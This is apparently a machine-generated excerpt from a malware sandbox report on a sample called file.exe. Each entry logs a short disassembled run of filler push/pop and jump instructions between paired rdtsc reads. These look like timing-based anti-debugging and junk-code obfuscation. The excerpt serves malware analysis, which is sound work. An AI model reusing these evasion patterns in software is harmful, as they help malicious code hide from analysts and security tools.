Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126230D second address: 126232C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F4C80E07D76h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4C80E07D7Ah 0x00000014 jng 00007F4C80E07D76h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126232C second address: 1262330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261CC6 second address: 1261CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261CCA second address: 1261CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261CD4 second address: 1261CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261CDA second address: 1261CFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261CFE second address: 1261D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261D04 second address: 1261D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262A19 second address: 1262A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262A1F second address: 1262A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262F84 second address: 1262F89 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268B57 second address: 1268B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12679B9 second address: 12679C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12679C5 second address: 12679C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12679C9 second address: 12679E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80E07D7Dh 0x0000000d jbe 00007F4C80E07D76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12679E4 second address: 12679F4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12679F4 second address: 12679FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267E48 second address: 1267E76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A3h 0x00000007 push esi 0x00000008 jmp 00007F4C80DFF1A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126828F second address: 12682AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80E07D84h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12689A8 second address: 12689B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F4C80DFF196h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12689B4 second address: 12689B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12689B8 second address: 12689C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12672AB second address: 12672C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F4C80E07D76h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jg 00007F4C80E07D76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12672C5 second address: 12672E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jbe 00007F4C80DFF1A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12672E8 second address: 12672FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F4C80E07D76h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12672FA second address: 12672FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F37F second address: 126F385 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F385 second address: 126F3B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A4h 0x00000007 jmp 00007F4C80DFF19Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F4C80DFF1B0h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F3B1 second address: 126F3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F3B7 second address: 126F3BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F3BD second address: 126F3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12294B0 second address: 12294B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12294B6 second address: 12294C0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4C80E07D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12294C0 second address: 1229513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F4C80DFF198h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 lea eax, dword ptr [ebp+1247B2B8h] 0x00000027 jmp 00007F4C80DFF19Eh 0x0000002c jnp 00007F4C80DFF199h 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F4C80DFF19Fh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229AAE second address: 1229AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D83h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229CAA second address: 1229CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229CAE second address: 1229CBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229CBB second address: 1229CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229CBF second address: 1229CC9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A7CB second address: 122A819 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F4C80DFF198h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 add edi, dword ptr [ebp+122D1A67h] 0x0000002a lea eax, dword ptr [ebp+1247B2FCh] 0x00000030 add edi, 786152ADh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c jg 00007F4C80DFF196h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F6D5 second address: 126F6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1276339 second address: 1276343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4C80DFF196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127649C second address: 12764A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A5B3 second address: 127A5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A5B7 second address: 127A5BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A5BB second address: 127A5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A819 second address: 127A81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A81D second address: 127A821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A821 second address: 127A83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80E07D81h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A83A second address: 127A83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A9A8 second address: 127A9AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A9AC second address: 127A9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A9B2 second address: 127A9C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4C80E07D7Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ACC0 second address: 127ACC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127ACC4 second address: 127ACC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280BF7 second address: 1280C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F4C80DFF196h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E55F5 second address: 11E55FF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E55FF second address: 11E5607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5607 second address: 11E560B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F385 second address: 127F38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F38B second address: 127F3A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4C80E07D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F4C80E07D76h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F9B2 second address: 127F9B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F9B6 second address: 127F9D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F9D1 second address: 127F9F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4C80DFF1A7h 0x00000009 jl 00007F4C80DFF196h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127F9F2 second address: 127FA01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127FA01 second address: 127FA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A23E second address: 122A261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F4C80E07D8Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A261 second address: 122A26B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4C80DFF196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127FD50 second address: 127FD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127FE70 second address: 127FE82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF19Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284190 second address: 1284199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284199 second address: 128419D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284688 second address: 128468E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128468E second address: 1284693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284693 second address: 12846A5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4C80E07D7Ch 0x00000008 jnc 00007F4C80E07D76h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A158 second address: 128A15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A15C second address: 128A162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A162 second address: 128A17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80DFF19Eh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128A2DF second address: 128A2E9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B0E0 second address: 128B0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B359 second address: 128B369 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4C80E07D76h 0x00000008 jnl 00007F4C80E07D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B369 second address: 128B373 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4C80DFF1A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B373 second address: 128B379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128B94C second address: 128B97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4C80DFF1A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F4C80DFF1A0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E0D4 second address: 128E0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291E27 second address: 1291E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 push ebx 0x0000000a jmp 00007F4C80DFF19Eh 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12914A2 second address: 12914C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4C80E07D7Ch 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop edx 0x00000017 popad 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12914C6 second address: 12914CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291B91 second address: 1291B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE8E second address: 129CE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jnc 00007F4C80DFF196h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CE9D second address: 129CED0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F4C80E07D7Fh 0x00000016 popad 0x00000017 jl 00007F4C80E07D7Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CED0 second address: 129CED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D311 second address: 129D32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F4C80E07D85h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D600 second address: 129D610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F4C80DFF196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D610 second address: 129D62F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4C80E07D76h 0x00000008 jmp 00007F4C80E07D85h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D62F second address: 129D639 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4C80DFF19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D762 second address: 129D766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D766 second address: 129D776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F4C80DFF19Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D776 second address: 129D780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4C80E07D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D780 second address: 129D7A3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4C80DFF1A5h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DC09 second address: 129DC0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129DD90 second address: 129DD95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
